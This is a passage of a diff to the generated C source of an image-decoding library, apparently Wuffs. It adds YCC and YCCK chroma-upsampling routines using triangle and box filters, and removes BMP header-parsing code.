((end - x) + inv_h1 - 1u) / inv_h1; ++ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; ++ uint32_t src_len3 = ((end - x) + inv_h3 - 1u) / inv_h3; ++ total_src_len0 += src_len0; ++ total_src_len1 += src_len1; ++ total_src_len2 += src_len2; ++ total_src_len3 += src_len3; ++ ++ const uint8_t* src_ptr_x0 = src0 + (x / inv_h0); ++ const uint8_t* up0 = (*upfunc0)( // ++ scratch_buffer_2k_ptr + (0u * 480u), // ++ src_ptr_x0, // ++ src_ptr_x0, // ++ src_len0, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len0 >= half_width_for_2to1)); ++ ++ const uint8_t* src_ptr_x1 = src1 + (x / inv_h1); ++ const uint8_t* up1 = (*upfunc1)( // ++ scratch_buffer_2k_ptr + (1u * 480u), // ++ src_ptr_x1, // ++ src_ptr_x1, // ++ src_len1, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len1 >= half_width_for_2to1)); ++ ++ const uint8_t* src_ptr_x2 = src2 + (x / inv_h2); ++ const uint8_t* up2 = (*upfunc2)( // ++ scratch_buffer_2k_ptr + (2u * 480u), // ++ src_ptr_x2, // ++ src_ptr_x2, // ++ src_len2, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len2 >= half_width_for_2to1)); ++ ++ const uint8_t* src_ptr_x3 = src3 + (x / inv_h3); ++ const uint8_t* up3 = (*upfunc3)( // ++ scratch_buffer_2k_ptr + (3u * 480u), // ++ src_ptr_x3, // ++ src_ptr_x3, // ++ src_len3, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len3 >= half_width_for_2to1)); ++ ++ (*conv4func)(dst, x, end, y, up0, up1, up2, up3); ++ x = end; ++ } ++} ++ ++static void // ++wuffs_private_impl__swizzle_ycck__general__triangle_filter( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x_min_incl, ++ uint32_t x_max_excl, ++ uint32_t y_min_incl, ++ uint32_t y_max_excl, ++ const uint8_t* src_ptr0, ++ const uint8_t* src_ptr1, ++ const uint8_t* src_ptr2, ++ const uint8_t* src_ptr3, ++ uint32_t stride0, ++ uint32_t stride1, ++ uint32_t stride2, ++ uint32_t stride3, ++ uint32_t inv_h0, ++ uint32_t inv_h1, ++ uint32_t inv_h2, ++ uint32_t inv_h3, ++ uint32_t inv_v0, ++ uint32_t inv_v1, ++ uint32_t inv_v2, ++ uint32_t inv_v3, ++ uint32_t half_width_for_2to1, ++ uint32_t half_height_for_2to1, ++ uint8_t* scratch_buffer_2k_ptr, ++ wuffs_private_impl__swizzle_ycc__upsample_func (*upfuncs)[4][4], ++ wuffs_private_impl__swizzle_ycc__convert_4_func conv4func) { ++ if ((x_min_incl != 0) || (y_min_incl != 0)) { ++ return; ++ } ++ ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0 = ++ (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1 = ++ (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2 = ++ (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc3 = ++ (*upfuncs)[(inv_h3 - 1u) & 3u][(inv_v3 - 1u) & 3u]; ++ ++ // First row. ++ uint32_t h1v2_bias = 1u; ++ wuffs_private_impl__swizzle_ycck__general__triangle_filter_edge_row( ++ dst, x_max_excl, 0u, // ++ src_ptr0, src_ptr1, src_ptr2, src_ptr3, // ++ stride0, stride1, stride2, stride3, // ++ inv_h0, inv_h1, inv_h2, inv_h3, // ++ inv_v0, inv_v1, inv_v2, inv_v3, // ++ half_width_for_2to1, // ++ h1v2_bias, // ++ scratch_buffer_2k_ptr, // ++ upfunc0, upfunc1, upfunc2, upfunc3, conv4func); ++ h1v2_bias = 2u; ++ ++ // Middle rows. ++ bool last_row = y_max_excl == 2u * half_height_for_2to1; ++ uint32_t middle_y_max_excl = last_row ? (y_max_excl - 1u) : y_max_excl; ++ uint32_t y; ++ for (y = 1u; y < middle_y_max_excl; y++) { ++ const uint8_t* src0_major = src_ptr0 + ((y / inv_v0) * (size_t)stride0); ++ const uint8_t* src0_minor = ++ (inv_v0 != 2u) ++ ? src0_major ++ : ((y & 1u) ? (src0_major + stride0) : (src0_major - stride0)); ++ const uint8_t* src1_major = src_ptr1 + ((y / inv_v1) * (size_t)stride1); ++ const uint8_t* src1_minor = ++ (inv_v1 != 2u) ++ ? src1_major ++ : ((y & 1u) ? (src1_major + stride1) : (src1_major - stride1)); ++ const uint8_t* src2_major = src_ptr2 + ((y / inv_v2) * (size_t)stride2); ++ const uint8_t* src2_minor = ++ (inv_v2 != 2u) ++ ? src2_major ++ : ((y & 1u) ? (src2_major + stride2) : (src2_major - stride2)); ++ const uint8_t* src3_major = src_ptr3 + ((y / inv_v3) * (size_t)stride3); ++ const uint8_t* src3_minor = ++ (inv_v3 != 2u) ++ ? src3_major ++ : ((y & 1u) ? (src3_major + stride3) : (src3_major - stride3)); ++ uint32_t total_src_len0 = 0u; ++ uint32_t total_src_len1 = 0u; ++ uint32_t total_src_len2 = 0u; ++ uint32_t total_src_len3 = 0u; ++ ++ uint32_t x = 0u; ++ while (x < x_max_excl) { ++ bool first_column = x == 0u; ++ uint32_t end = x + 480u; ++ if (end > x_max_excl) { ++ end = x_max_excl; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- uint32_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_4 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; +- if (num_bits_4 == 8) { +- t_4 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)) << 56; +- } +- } +- self->private_impl.f_height = t_4; ++ ++ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; ++ uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; ++ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; ++ uint32_t src_len3 = ((end - x) + inv_h3 - 1u) / inv_h3; ++ total_src_len0 += src_len0; ++ total_src_len1 += src_len1; ++ total_src_len2 += src_len2; ++ total_src_len3 += src_len3; ++ ++ const uint8_t* up0 = (*upfunc0)( // ++ scratch_buffer_2k_ptr + (0u * 480u), // ++ src0_major + (x / inv_h0), // ++ src0_minor + (x / inv_h0), // ++ src_len0, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len0 >= half_width_for_2to1)); ++ ++ const uint8_t* up1 = (*upfunc1)( // ++ scratch_buffer_2k_ptr + (1u * 480u), // ++ src1_major + (x / inv_h1), // ++ src1_minor + (x / inv_h1), // ++ src_len1, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len1 >= half_width_for_2to1)); ++ ++ const uint8_t* up2 = (*upfunc2)( // ++ scratch_buffer_2k_ptr + (2u * 480u), // ++ src2_major + (x / inv_h2), // ++ src2_minor + (x / inv_h2), // ++ src_len2, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len2 >= half_width_for_2to1)); ++ ++ const uint8_t* up3 = (*upfunc3)( // ++ scratch_buffer_2k_ptr + (3u * 480u), // ++ src3_major + (x / inv_h3), // ++ src3_minor + (x / inv_h3), // ++ src_len3, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len3 >= half_width_for_2to1)); ++ ++ (*conv4func)(dst, x, end, y, up0, up1, up2, up3); ++ x = end; ++ } ++ ++ h1v2_bias ^= 3u; ++ } ++ ++ // Last row. ++ if (middle_y_max_excl != y_max_excl) { ++ wuffs_private_impl__swizzle_ycck__general__triangle_filter_edge_row( ++ dst, x_max_excl, middle_y_max_excl, // ++ src_ptr0, src_ptr1, src_ptr2, src_ptr3, // ++ stride0, stride1, stride2, stride3, // ++ inv_h0, inv_h1, inv_h2, inv_h3, // ++ inv_v0, inv_v1, inv_v2, inv_v3, // ++ half_width_for_2to1, // ++ h1v2_bias, // ++ scratch_buffer_2k_ptr, // ++ upfunc0, upfunc1, upfunc2, upfunc3, conv4func); ++ } ++} ++ ++static void // ++wuffs_private_impl__swizzle_ycc__general__triangle_filter_edge_row( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t width, ++ uint32_t y, ++ const uint8_t* src_ptr0, ++ const uint8_t* src_ptr1, ++ const uint8_t* src_ptr2, ++ uint32_t stride0, ++ uint32_t stride1, ++ uint32_t stride2, ++ uint32_t inv_h0, ++ uint32_t inv_h1, ++ uint32_t inv_h2, ++ uint32_t inv_v0, ++ uint32_t inv_v1, ++ uint32_t inv_v2, ++ uint32_t half_width_for_2to1, ++ uint32_t h1v2_bias, ++ uint8_t* scratch_buffer_2k_ptr, ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0, ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1, ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2, ++ wuffs_private_impl__swizzle_ycc__convert_3_func conv3func) { ++ const uint8_t* src0 = src_ptr0 + ((y / inv_v0) * (size_t)stride0); ++ const uint8_t* src1 = src_ptr1 + ((y / inv_v1) * (size_t)stride1); ++ const uint8_t* src2 = src_ptr2 + ((y / inv_v2) * (size_t)stride2); ++ uint32_t total_src_len0 = 0u; ++ uint32_t total_src_len1 = 0u; ++ uint32_t total_src_len2 = 0u; ++ ++ uint32_t x = 0u; ++ while (x < width) { ++ bool first_column = x == 0u; ++ uint32_t end = x + 672u; ++ if (end > width) { ++ end = width; ++ } ++ ++ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; ++ uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; ++ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; ++ total_src_len0 += src_len0; ++ total_src_len1 += src_len1; ++ total_src_len2 += src_len2; ++ ++ const uint8_t* src_ptr_x0 = src0 + (x / inv_h0); ++ const uint8_t* up0 = (*upfunc0)( // ++ scratch_buffer_2k_ptr + (0u * 672u), // ++ src_ptr_x0, // ++ src_ptr_x0, // ++ src_len0, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len0 >= half_width_for_2to1)); ++ ++ const uint8_t* src_ptr_x1 = src1 + (x / inv_h1); ++ const uint8_t* up1 = (*upfunc1)( // ++ scratch_buffer_2k_ptr + (1u * 672u), // ++ src_ptr_x1, // ++ src_ptr_x1, // ++ src_len1, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len1 >= half_width_for_2to1)); ++ ++ const uint8_t* src_ptr_x2 = src2 + (x / inv_h2); ++ const uint8_t* up2 = (*upfunc2)( // ++ scratch_buffer_2k_ptr + (2u * 672u), // ++ src_ptr_x2, // ++ src_ptr_x2, // ++ src_len2, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len2 >= half_width_for_2to1)); ++ ++ (*conv3func)(dst, x, end, y, up0, up1, up2); ++ x = end; ++ } ++} ++ ++static void // ++wuffs_private_impl__swizzle_ycc__general__triangle_filter( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x_min_incl, ++ uint32_t x_max_excl, ++ uint32_t y_min_incl, ++ uint32_t y_max_excl, ++ const uint8_t* src_ptr0, ++ const uint8_t* src_ptr1, ++ const uint8_t* src_ptr2, ++ uint32_t stride0, ++ uint32_t stride1, ++ uint32_t stride2, ++ uint32_t inv_h0, ++ uint32_t inv_h1, ++ uint32_t inv_h2, ++ uint32_t inv_v0, ++ uint32_t inv_v1, ++ uint32_t inv_v2, ++ uint32_t half_width_for_2to1, ++ uint32_t half_height_for_2to1, ++ uint8_t* scratch_buffer_2k_ptr, ++ wuffs_private_impl__swizzle_ycc__upsample_func (*upfuncs)[4][4], ++ wuffs_private_impl__swizzle_ycc__convert_3_func conv3func) { ++ if ((x_min_incl != 0) || (y_min_incl != 0)) { ++ return; ++ } ++ ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0 = ++ (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1 = ++ (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2 = ++ (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; ++ ++ // First row. ++ uint32_t h1v2_bias = 1u; ++ wuffs_private_impl__swizzle_ycc__general__triangle_filter_edge_row( ++ dst, x_max_excl, 0u, // ++ src_ptr0, src_ptr1, src_ptr2, // ++ stride0, stride1, stride2, // ++ inv_h0, inv_h1, inv_h2, // ++ inv_v0, inv_v1, inv_v2, // ++ half_width_for_2to1, // ++ h1v2_bias, // ++ scratch_buffer_2k_ptr, // ++ upfunc0, upfunc1, upfunc2, conv3func); ++ h1v2_bias = 2u; ++ ++ // Middle rows. ++ bool last_row = y_max_excl == 2u * half_height_for_2to1; ++ uint32_t middle_y_max_excl = last_row ? (y_max_excl - 1u) : y_max_excl; ++ uint32_t y; ++ for (y = 1u; y < middle_y_max_excl; y++) { ++ const uint8_t* src0_major = src_ptr0 + ((y / inv_v0) * (size_t)stride0); ++ const uint8_t* src0_minor = ++ (inv_v0 != 2u) ++ ? src0_major ++ : ((y & 1u) ? (src0_major + stride0) : (src0_major - stride0)); ++ const uint8_t* src1_major = src_ptr1 + ((y / inv_v1) * (size_t)stride1); ++ const uint8_t* src1_minor = ++ (inv_v1 != 2u) ++ ? src1_major ++ : ((y & 1u) ? (src1_major + stride1) : (src1_major - stride1)); ++ const uint8_t* src2_major = src_ptr2 + ((y / inv_v2) * (size_t)stride2); ++ const uint8_t* src2_minor = ++ (inv_v2 != 2u) ++ ? src2_major ++ : ((y & 1u) ? (src2_major + stride2) : (src2_major - stride2)); ++ uint32_t total_src_len0 = 0u; ++ uint32_t total_src_len1 = 0u; ++ uint32_t total_src_len2 = 0u; ++ ++ uint32_t x = 0u; ++ while (x < x_max_excl) { ++ bool first_column = x == 0u; ++ uint32_t end = x + 672u; ++ if (end > x_max_excl) { ++ end = x_max_excl; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); +- uint32_t t_5; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_5 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_5 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_5; +- if (num_bits_5 == 8) { +- t_5 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_5 += 8u; +- *scratch |= ((uint64_t)(num_bits_5)) << 56; +- } +- } +- v_planes = t_5; ++ ++ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; ++ uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; ++ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; ++ total_src_len0 += src_len0; ++ total_src_len1 += src_len1; ++ total_src_len2 += src_len2; ++ ++ const uint8_t* up0 = (*upfunc0)( // ++ scratch_buffer_2k_ptr + (0u * 672u), // ++ src0_major + (x / inv_h0), // ++ src0_minor + (x / inv_h0), // ++ src_len0, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len0 >= half_width_for_2to1)); ++ ++ const uint8_t* up1 = (*upfunc1)( // ++ scratch_buffer_2k_ptr + (1u * 672u), // ++ src1_major + (x / inv_h1), // ++ src1_minor + (x / inv_h1), // ++ src_len1, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len1 >= half_width_for_2to1)); ++ ++ const uint8_t* up2 = (*upfunc2)( // ++ scratch_buffer_2k_ptr + (2u * 672u), // ++ src2_major + (x / inv_h2), // ++ src2_minor + (x / inv_h2), // ++ src_len2, // ++ h1v2_bias, // ++ first_column, // ++ (total_src_len2 >= half_width_for_2to1)); ++ ++ (*conv3func)(dst, x, end, y, up0, up1, up2); ++ x = end; ++ } ++ ++ h1v2_bias ^= 3u; ++ } ++ ++ // Last row. ++ if (middle_y_max_excl != y_max_excl) { ++ wuffs_private_impl__swizzle_ycc__general__triangle_filter_edge_row( ++ dst, x_max_excl, middle_y_max_excl, // ++ src_ptr0, src_ptr1, src_ptr2, // ++ stride0, stride1, stride2, // ++ inv_h0, inv_h1, inv_h2, // ++ inv_v0, inv_v1, inv_v2, // ++ half_width_for_2to1, // ++ h1v2_bias, // ++ scratch_buffer_2k_ptr, // ++ upfunc0, upfunc1, upfunc2, conv3func); ++ } ++} ++ ++static void // ++wuffs_private_impl__swizzle_ycc__general__box_filter( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x_min_incl, ++ uint32_t x_max_excl, ++ uint32_t y_min_incl, ++ uint32_t y_max_excl, ++ const uint8_t* src_ptr0, ++ const uint8_t* src_ptr1, ++ const uint8_t* src_ptr2, ++ uint32_t stride0, ++ uint32_t stride1, ++ uint32_t stride2, ++ uint32_t inv_h0, ++ uint32_t inv_h1, ++ uint32_t inv_h2, ++ uint32_t inv_v0, ++ uint32_t inv_v1, ++ uint32_t inv_v2, ++ uint32_t half_width_for_2to1, ++ uint32_t half_height_for_2to1, ++ uint8_t* scratch_buffer_2k_ptr, ++ wuffs_private_impl__swizzle_ycc__upsample_func (*upfuncs)[4][4], ++ wuffs_private_impl__swizzle_ycc__convert_3_func conv3func) { ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0 = ++ (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1 = ++ (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2 = ++ (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; ++ ++ uint32_t y; ++ for (y = y_min_incl; y < y_max_excl; y++) { ++ const uint8_t* src0_major = ++ src_ptr0 + (((y - y_min_incl) / inv_v0) * (size_t)stride0); ++ const uint8_t* src1_major = ++ src_ptr1 + (((y - y_min_incl) / inv_v1) * (size_t)stride1); ++ const uint8_t* src2_major = ++ src_ptr2 + (((y - y_min_incl) / inv_v2) * (size_t)stride2); ++ ++ uint32_t x = x_min_incl; ++ while (x < x_max_excl) { ++ uint32_t end = x + 672u; ++ if (end > x_max_excl) { ++ end = x_max_excl; + } +- if (v_planes != 1u) { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; ++ ++ uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; ++ uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; ++ uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; ++ ++ const uint8_t* up0 = (*upfunc0)( // ++ scratch_buffer_2k_ptr + (0u * 672u), // ++ src0_major + ((x - x_min_incl) / inv_h0), // ++ src0_major + ((x - x_min_incl) / inv_h0), // ++ src_len0, // ++ 0u, false, false); ++ ++ const uint8_t* up1 = (*upfunc1)( // ++ scratch_buffer_2k_ptr + (1u * 672u), // ++ src1_major + ((x - x_min_incl) / inv_h1), // ++ src1_major + ((x - x_min_incl) / inv_h1), // ++ src_len1, // ++ 0u, false, false); ++ ++ const uint8_t* up2 = (*upfunc2)( // ++ scratch_buffer_2k_ptr + (2u * 672u), // ++ src2_major + ((x - x_min_incl) / inv_h2), // ++ src2_major + ((x - x_min_incl) / inv_h2), // ++ src_len2, // ++ 0u, false, false); ++ ++ (*conv3func)(dst, x, end, y, up0, up1, up2); ++ x = end; ++ } ++ } ++} ++ ++static void // ++wuffs_private_impl__swizzle_ycck__general__box_filter( ++ wuffs_base__pixel_buffer* dst, ++ uint32_t x_min_incl, ++ uint32_t x_max_excl, ++ uint32_t y_min_incl, ++ uint32_t y_max_excl, ++ const uint8_t* src_ptr0, ++ const uint8_t* src_ptr1, ++ const uint8_t* src_ptr2, ++ const uint8_t* src_ptr3, ++ uint32_t stride0, ++ uint32_t stride1, ++ uint32_t stride2, ++ uint32_t stride3, ++ uint32_t inv_h0, ++ uint32_t inv_h1, ++ uint32_t inv_h2, ++ uint32_t inv_h3, ++ uint32_t inv_v0, ++ uint32_t inv_v1, ++ uint32_t inv_v2, ++ uint32_t inv_v3, ++ uint32_t half_width_for_2to1, ++ uint32_t half_height_for_2to1, ++ uint8_t* scratch_buffer_2k_ptr, ++ wuffs_private_impl__swizzle_ycc__upsample_func (*upfuncs)[4][4], ++ wuffs_private_impl__swizzle_ycc__convert_4_func conv4func) { ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc0 = ++ (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc1 = ++ (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc2 = ++ (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; ++ wuffs_private_impl__swizzle_ycc__upsample_func upfunc3 = ++ (*upfuncs)[(inv_h3 - 1u) & 3u][(inv_v3 - 1u) & 3u]; ++ ++ uint32_t y; ++ for (y = y_min_incl; y < y_max_excl; y++) { ++ const uint8_t* src0_major = ++ src_ptr0 + (((y - y_min_incl) / inv_v0) * (size_t)stride0); ++ const uint8_t* src1_major = ++ src_ptr1 + (((y - y_min_incl) / inv_v1) * (size_t)stride1); ++ const uint8_t* src2_major = ++ src_ptr2 + (((y - y_min_incl) / inv_v2) * (size_t)stride2); ++ const uint8_t* src3_major = ++ src_ptr3 + (((y - y_min_incl) / inv_v3) * (size_t)stride3); ++ ++ uint32_t x = x_min_incl; ++ while (x < x_max_excl) { ++ uint32_t end = x + 480u; ++ if (end > x_max_excl) { ++ end = x_max_excl; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); +- uint32_t t_6; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_6 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_6 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_6; +- if (num_bits_6 == 8) { +- t_6 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_6 += 8u; +- *scratch |= ((uint64_t)(num_bits_6)) << 56; +- } +- } +- self->private_impl.f_bits_per_pixel = t_6; +- } +- } else if (self->private_impl.f_bitmap_info_len == 16u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); +- uint32_t t_7; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_7 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; +- if (num_bits_7 == 24) { +- t_7 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_7 += 8u; +- *scratch |= ((uint64_t)(num_bits_7)) << 56; +- } +- } +- v_width = t_7; +- } +- if (v_width > 2147483647u) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; +- } else if (v_width > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } +- self->private_impl.f_width = v_width; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); +- uint32_t t_8; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_8 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_8; +- if (num_bits_8 == 24) { +- t_8 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_8 += 8u; +- *scratch |= ((uint64_t)(num_bits_8)) << 56; +- } +- } +- v_height = t_8; +- } +- if (v_height > 2147483647u) { +- status = wuffs_base__make_status(wuffs_bmp__error__bad_header); +- goto exit; +- } else if (v_height > 16777215u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } +- self->private_impl.f_height = v_height; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); +- uint32_t t_9; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_9 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_9 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_9; +- if (num_bits_9 == 8) { +- t_9 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_9 += 8u; +- *scratch |= ((uint64_t)(num_bits_9)) << 56; +- } +- } +- v_planes = t_9; +- } +- if (v_planes != 1u) { +- status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); +- uint32_t t_10; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_10 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_10 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_10; +- if (num_bits_10 == 8) { +- t_10 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_10 += 8u; +- *scratch |= ((uint64_t)(num_bits_10)) << 56; +- } +- } +- self->private_impl.f_bits_per_pixel = t_10; +- } +- } else { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); +- uint32_t t_11; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_11 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(25); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = 